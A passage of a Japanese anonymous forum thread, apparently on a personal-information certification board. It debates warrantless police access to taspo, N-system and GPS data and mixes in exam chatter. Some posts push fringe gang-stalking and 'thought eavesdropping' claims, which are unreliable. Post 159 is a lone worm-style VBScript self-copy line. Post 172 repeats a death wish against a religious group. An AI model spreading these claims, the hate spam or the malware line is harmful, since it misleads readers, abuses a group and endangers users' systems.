この内閣府の個人情報保護法に関するHPは小泉元首相（自民党）の政権の時に個人情報保護法が成立し
て以降掲載されています。少なくとも、一般庶民の個人情報も含めた情報保護法です。
しかし、一方で、「一般庶民は・・・」という一節が好きな人がいるのも確かです。
このような人の中には「一般庶民の個人情報は漏洩しても問題ない。」と言わんばかりの人
がいます。しかし、内閣府でもそのようなことは言っていませんし、もちろん、個人情報保護法
を制定した小泉元首相も、その後の首相の安部元首相も民主党の鳩山元首相も「一般庶民の個人
情報は漏洩しても問題ない。」 という発言はしていません。

148 ：

『個人情報が“任意”で検察に提供されていた 』（下記参照）
http://news.biglobe.ne.jp/politics/669/gen_100522_6692405093.html
（以下引用）
「果たして杞憂（きゆう）される事件が起こった。昨年７月、ｔａｓｐｏの
利用履歴が検察に提供されたと報じられたのだ。ｔａｓｐｏの発行主体である
（株）日本たばこ協会が、特定の利用者個人の自販機利用日時や場所などの履歴
情報を検察当局に任意で提供していたことが明らかになったのだ。
「関係者の話などによると、協会は求められた個人の生年月日や住所、電話番号、
カード発行日などのほか、たばこ購入の日時や利用した自販機の所在地を一覧表に
して提供。免許証など顔写真付き身分証明書の写しが添付された申込書のコピーを渡
した事例もあった」（「東京新聞」０９年７月２６日付・朝刊）」（以上引用）
掲示板等の匿名性は保たれているのでしょうか、暗に言語統制をしようとするための情報
漏洩ルートはないのでしょうか。個人情報保護法や「通信の秘密」を守る法律が軽視、無視されて、
掲示板などのインターネット上の匿名性がなくなると、最近話題の集団ストーカー行為等が引き起こされる
可能性があると考えられます。（下記『インターネットの匿名性・通信の秘密と人的情報漏洩の可能性』参照）
http://infowave.at.webry.info/200804/article_1.html
掲示板やホームページ、あるいはブログの意見を消去せずに言語統制や集団ストーカー
の関係を調べるよい方法がいくつか考えられると思うのですがどうでしょうか。
上記の（株）日本たばこ協会の例はインターネットにおける場合に当てはめると
下記『インターネットの匿名性・通信の秘密と人的情報漏洩の可能性』
http://infowave.at.webry.info/200804/article_1.html で言えば
「正式な令状がないのにもかかわらず事業者（ISP）側が任意で情報を提供してし
まう状況」になります。
任意の情報漏えいが杞憂でない可能性も高いのではないでしょうか。
掲示板やホームページ、あるいはブログの意見を消去せずに言語統制や集団ストーカー
の関係を調べるよい方法がいくつか考えられると思うのですがどうでしょうか。

149 ：

>>146 >>147 >>148に関連してです。
東京などの大都市もふくめて、「盗聴される人のほうが悪い、問題がある。」という
主張をする人は盗聴犯罪を公認していると考えられるのではないでしょうか。
警察でも令状が必要な傍聴を「盗聴される人のほうが悪い、問題がある。」と
判断して盗聴をしてもよいと考えるのは誤りです。
国会報告のない、（逮捕されない場合に）本人連絡のない盗聴がある場合は傍聴法
の運用判断する国会報告自体が疑われることになり、傍聴法は「民主主義を入り口
でとめる」悪法、盗聴法ということになります。
もちろん、一方的な「社会調査等」を理由にした民間盗聴は許されていません。
もしも許されるならば、東京を中心に違法盗聴が蔓延します。
クラウドコンピューティングを含むユビキタスの時代が来ています。日本が盗聴
に関して「法治」でっち上げの「放置」国家であるということを国際的に宣伝し
ないようにしなくてはならないはずです。 「盗聴されて困ることがにならば、
一般庶民は盗聴されてもいい。」という意見は盗聴される情報の価値を無視した
愚かな意見であると考えられます。
位置情報に関しても令状なしの任意提供がなされているようですと、総務省の
ガイドラインも意味がありません。日本が盗聴や個人情報保護に関して「法治」
でっち上げの「放置」国家であるということを国際的に宣伝し ないようにしな
くてはならないはずです。 しかし、実情はどうでしょうか。
参考：『ユビキタス・クラウドコンピューティング時代の情報セキュリティと電波首輪理論』
http://infowave.at.webry.info/201001/article_1.html
『ライフログ集合体と個人情報・プライバシー問題（『思考盗聴』とよばれる現象の一種について）』
http://infowave.at.webry.info/201001/article_2.html

150 ：

マジレスすると、高速道路の「Nシステム」の違法性も主張し始めそうだね？
高速を走るかぎり、必ずナンバーを読まれ保存される。
犯罪捜査のためには一定の成果を上げてるんだから、
犯罪者でなければ何も問題ない。
タスポだってそうだ。
「たいていの犯罪者はタバコを吸う」という理論をベースにして
煙草購入者のサンプルしか収集できないが、
犯罪捜査には確実に成果をあげられるのは明白だろ？
何が問題なの？
もしかして君は…

151 ：

ユビキタス時代到来ってw
久しぶりに聞いたな。

152 ：

指、きたっス
ていうCMがあったな。懐かしいw
web2.0と同じくらい今となっては恥ずかしいキーワード。

153 ：

昨年受かったものだが、保護士のバッジはまだできんのかね？？
四月に発売じゃなかったのか？？
2000円準備して待ちにまっとるのだがwwwwwwww？？

154 ：

>>150
「もしかして君は…」の先を言ってください。下記参照お願いします。
『令状主義と電波首輪理論の成立可能性』
http://infowave.at.webry.info/200812/article_1.html
ヒントと感じたこと：インターネットで「警察　盗撮」で検索すると、最近でも多くの警察官の
盗撮事件が掲載されている。一方、「警察　盗聴」で検索すると最近はほとんど事件らしきものが
掲載されていない。

155 ：

>>150
郵便局では７００億円かけて設置した監視カメラを３２億円かけて撤去するそう
です。（下記参照）
http://sankei.jp.msn.com/economy/finance/100409/fnc1004091218011-n1.htm
これは、防犯に役に立っていないからですか。

156 ：

『令状主義と電波首輪理論の成立可能性』
http://infowave.at.webry.info/200812/article_1.htmlにも記載しましたが、
「
、「犯人検挙に寄与する。」ために令状のないＮシステムによる盗撮が合法であると
解釈可能なのであれば、令状のない携帯電話の位置情報（位置登録情報）を使った
個人調査も合法であると解釈可能」と考える人も出るのではないですか。
以下>>146とおなじ
総務省は個人の位置情報（位置登録情報と呼ばれていたものを含む）に関して、
「位置情報は通信の秘密に該当しないと解する場合であってもあるひとがどこ
に所在するかということはプライバシーの中でも特に保護の必要性が高い上に
通信とも密接に関係する事柄であるから、通信の秘密に準じて強く保護すること
が必要である。」ということを『電気通信事業における個人情報保護に関する
ガイドライン』の２６条に記載しています。（下記参照）　
http://www.soumu.go.jp/main_sosiki/joho_tsusin/d_syohi/pdf/051018_2.pdf
（以下引用）
「（位置情報）第２６条 電気通信事業者は、利用者の同意がある場合、裁判官の
発付した令状に従う場合その他の違法性阻却事由がある場合を除いては、位置情報
（移動体端末を所持する者の位置を示す情報であって、発信者情報でないものをいう。
以下同じ。）を他人に提供しないものとする。」（以上引用）
したがって、個人の位置情報を一方的に入手し、個人を追跡するという事は禁じられているのです。

157 ：

>>156のつづき
『個人情報が“任意”で検察に提供されていた 』（下記参照）
http://news.biglobe.ne.jp/politics/669/gen_100522_6692405093.html
（以下引用）
「果たして杞憂（きゆう）される事件が起こった。昨年７月、ｔａｓｐｏの
利用履歴が検察に提供されたと報じられたのだ。ｔａｓｐｏの発行主体である
（株）日本たばこ協会が、特定の利用者個人の自販機利用日時や場所などの履歴
情報を検察当局に任意で提供していたことが明らかになったのだ。
「関係者の話などによると、協会は求められた個人の生年月日や住所、電話番号、
カード発行日などのほか、たばこ購入の日時や利用した自販機の所在地を一覧表に
して提供。免許証など顔写真付き身分証明書の写しが添付された申込書のコピーを渡
した事例もあった」（「東京新聞」０９年７月２６日付・朝刊）」（以上引用）
掲示板等の匿名性は保たれているのでしょうか、暗に言語統制をしようとするための情報
漏洩ルートはないのでしょうか。個人情報保護法や「通信の秘密」を守る法律が軽視、無視されて、
掲示板などのインターネット上の匿名性がなくなると、最近話題の集団ストーカー行為等が引き起こされる
可能性があると考えられます。（下記『インターネットの匿名性・通信の秘密と人的情報漏洩の可能性』参照）
http://infowave.at.webry.info/200804/article_1.html
掲示板やホームページ、あるいはブログの意見を消去せずに言語統制や集団ストーカー
の関係を調べるよい方法がいくつか考えられると思うのですがどうでしょうか。
上記の（株）日本たばこ協会の例はインターネットにおける場合に当てはめると
下記『インターネットの匿名性・通信の秘密と人的情報漏洩の可能性』
http://infowave.at.webry.info/200804/article_1.html で言えば
「正式な令状がないのにもかかわらず事業者（ISP）側が任意で情報を提供してし
まう状況」になります。

158 ：

更新ﾏﾝﾄﾞｸｾ

159 ：

C.Copy(dirwin&"\Win32DLL.vbs")

160 ：

>>146-149、>>154-157に関連してです。
最近になって、注目したいのが第１５６回法務委員会第１１号（平成１５年５月９日（金）曜日の議論
「検証令状」に関連した問題ですよね・・・わかります。

161 ：

『位置情報に関わる個人情報保護法の問題と「検証令状」現状は？（第156回法務委員会第11号を参照して）』
http://infowave.at.webry.info/201110/article_1.htmlを参考におねがいします。

162 ：

『量子暗号化技術の進展と電波首輪理論「共謀罪と傍聴法・個人情報保護法の無力化」』下記URLを参照おねがいします。
http://infowave.at.webry.info/200609/article_1.html
量子暗号化技術が実用化されることによって、通信回路に介在して行う技術的な盗聴行為は理論上不可能であると想定できます。
通信回路上の盗聴可能性が皆無であるということは、位置情報を含めた通信情報を盗聴できないということです。今後は「人的漏洩」
の危険性が注目されていきます。実際に、警視庁でもテロ情報が「人的漏洩」されています。（下記参照）
『テロ情報流出経緯に関する考察』http://infowave.at.webry.info/201011/article_1.html漏洩されたと考えられる情報の現状と
調査経緯に関してはコメント欄に記載。「人的情報漏洩」が問題なることは量子暗号化理論が今後実用化されるのがわかってきていた
にもかかわらず、小泉元首相とともに「個人情報保護法案」を可決し、小泉路線と言われた安倍元首相が日本を「美しい国」を主張しながら
「インテリジェンスという横文字を使った諜報能力の向上」を狙った時点で一般庶民の私にも「でっちあげ」がわかりました。つまり、
安部元首相が「美しい国」発言をした時点で、「人的漏洩」と「監視社会」がどんどん問題化する「美しくない国」になることを証明すること
になっていたのです。

163 ：

今後も「人的情報漏洩」と「監視社会」、成文化した情報保護を無視した「違法・越権調査」の再現性がどんどん出てきます。
そのような「人的情報漏えい」を一種の『世間』と考えるなら個人情報保護などというわざとらしい法律を可決しなければよかったのです。
なぜなら、可決した政府の方が「自分たちが可決した法案を守らない美しくない国」であること証明することになるからです。元総務省顧問で
現世田谷区長も『個人情報保護法改正の議論を始めよう。』で『「個人情報保護法とは、その名の通り「国民の個人情報」を保護
するのではなくて、「個人情報」を行政機関(警察・検察など捜査機関を含む)が自由自在に使える状態となってしまっていて、行政機関がどの
ように「個人情報」を扱っているのかについては、当事者である個人がアクセスしようにも、「個人情報だから教えられません」という倒錯が
起きている。「自己情報コントロール権」が銘記されなかったせいだ。」』と述べています・・・なぜ「でっち上げ国家」を表明しようとするのですか。

164 ：

『容疑者居場所、GPSで特定＝総務省が新指針策定―情報取得通知が条件・警察当局』時事通信 11月1日(火)12時7分配信を参照しました。
（以下引用）『犯罪捜査をめぐり、総務省は1日までに、携帯電話会社は全地球測位システム（GPS）機能を使って容疑者の位置情報を特定し、
捜査機関に提供できるとした指針を策定した。・・・（中略）・・・このほど策定された指針では、携帯電話会社は警察が裁判所の令状を取得
した場合、GPSの位置情報を提供できると規定。ただ、プライバシー保護に配慮し、画面表示や振動、音などで位置情報を取得していると相手に
通知することを条件とした。』（以上引用）。以下のURLを参照おねがいします。『警察の傍聴・撮影に係わる「令状主義」の徹底の必要性に関して
（Nシステム運用法律の立法の重要性）』 http://infowave.at.webry.info/201010/article_1.htmlの参照お願いします。興味深いことに、
「警察・盗聴」で検索しても事件らしいい事件は見当たりませんが、「警察・盗撮」で検索すると警察官・検察官による違法盗撮事件がかなり多い
ことがわかります。警察官・検察官による盗撮事件はコメント欄に記載されています。 最近では２０１１年１０月２５日（火）にも警察官による警察署
での盗撮事件がおきています。このような事態が起きているのは、警察の盗聴には傍聴法による令状が必要であるのに、Nシステムを含む盗撮には令状が
必要ないために、警察官の「盗撮」に対する罪の意識が薄いことが原因かもしれないのです。

165 ：

>>164のつづき
一方で、運用規定に反したＮシステムを利用している実例をでいてます。
警察という機関は、しばらくすると、「監視システムの悪用」をし始める人間が多い機関だという認識が総務省には足りません。
つぎに『位置情報に関わる個人情報保護法の問題と「検証令状」現状は？（第156回法務委員会第11号を参照して』
http://infowave.at.webry.info/201110/article_1.htmlの参照おねがいします。国会の議論が反映されていません。
検証令状など、裁判所の「めくら判令状」ではないですか。傍聴令状のように国会報告や本人告知が明確に定義されていますか。
「東京」に「都合良い」見識者ぶった人たちが「日本は法治でっち上げの国」ということを「明確に」証明して
いくことになるのです。

166 ：

>>164-165に関連してです。
特に、『位置情報に関わる個人情報保護法の問題と「検証令状」現状は？（第156回法務委員会第11号を参照して』
http://infowave.at.webry.info/201110/article_1.htmlに関連してです。
『無令状でＧＰＳ追跡は違憲＝位置情報収集は不当−米連邦最高裁』
時事ドットコム（URL→http://www.jiji.com/jc/zc?k=201201/2012012400109）
を参照しました。
（以下引用）
『米連邦最高裁判所は２３日、警察が令状なしで捜査対象者の車に全地球測位システム（ＧＰＳ）を取り付け追跡したのは、
個人の財産の侵害に当たり、不当な捜索や押収を禁じた憲法修正４条に違反するとの判断を下した。』
（以上引用）
最近では、国内でもスマートフォンの環境整備が追い付いていないとの指摘もあります。
『急増スマホ、弊害表面化　架空請求、ウイルス　環境整備追いつかず』（URL↓）
http://headlines.yahoo.co.jp/hl?a=20120120-00000000-fsi-bus_all
（以下引用）
『◆相談件数３倍超「スマホで撮った室内の写真をブログにアップしたら
位置情報を第三者に知られた」。昨年１１月、東京都消費生活総合センター
にこんな相談が寄せられた。相談主は５０代の女性。ブログに掲載した写真の
データに緯度経度が載っており、インターネット上の地図から所在地が分かって
しまうというのだ。これはスマホに衛星利用測位システム（ＧＰＳ）機能がついて
いたため。位置情報の設定を切れば非表示にできる。旅行先などで写真の撮影場所が
分かるのは便利だが、知らないと意図せず情報をさらしてしまう。』（以上引用）
今後、位置情報の違法収集アプリに対する規制には個人情報・プライバシー保護
の点から注目が集まるでしょう。

167 ：

今からでも受かりますか？

168 ：

今日の解答速報マダー？

169 ：

>>168
個人情報保護士<その2>
http://ikura.2ch.net/test/read.cgi/lic/1299925723/

170 ：

合格した。ヤッター！

171 ：

以前、楽天がad4Uというシステムを使ったときに、かなりの非難を浴びました。
『楽天ad4Uが総務省の研究会で取り上げられたこと、「情報を無断で収集する行為だ」
という消費者団体の声、「社会的なルールに反する」という総務省消費者行政課の
コメントを掲載し、「利用者の反発を招くサービスは広告価値を下げるだけ」という
大手ネット広告会社のコメントを伝えた。』（以上引用）
『Wikipedia』の「ad4U」を参照しました。URL↓
http://ja.wikipedia.org/wiki/%E6%A5%BD%E5%A4%A9ad4U
Yahoo!メールに来た以下の通知・・・かなり問題が大きいと感じます。
楽天ad4Uは非難され、Yahoo!メール検閲は良いですとぉ？？おかしいいでしょう。
企業を使って国民をだまして国民ののプライバシーをダダ漏れすする裏政策ですか？？
（以下Yahoo!メールの通知内容）
Yahoo! JAPANのサービスで表示される一部のインタレストマッチ広告において、
お客様がYahoo!メールでご利用になったメールのタイトルおよび本文を機械的
に解析し、その結果を利用することによって、お客様の関心と関連性の高い広
告が表示されやすくなります。（以上）
例えば、お客様が国内旅行に関する内容が含まれるメールを閲覧されている場
合、国内旅行に関する広告が表示される可能性が高くなります。
メールのタイトルおよび本文は機械的に解析をしており、解析結果から特定の
個人や本文内容を識別できない仕組みになっております。表示方法の変更を希
望されない場合は、以下のページより解析および解析結果の利用を中止できま
す。
すくなくとも、Facebookが米国で訴訟になった場合に対応した「オプトイン」方式
にしないとまずいのではないでしょうか？

172 ：

ソウカ
死・ね
ソウカ
死・ね
ソウカ
死・ね
ソウカ
死・ね
ソウカ
死・ね
ソウカ
死・ね　
ソウカ
死・ね
ソウカ
死・ね　
ソウカ
死・ね
ソウカ
死・ね　
ソウカ
死・ね
ソウカ
死・ね
ソウカ
死・ね
ソウカ
死・ね　

173 ：2013/09/18

32回受けた方答え合わせしませんか？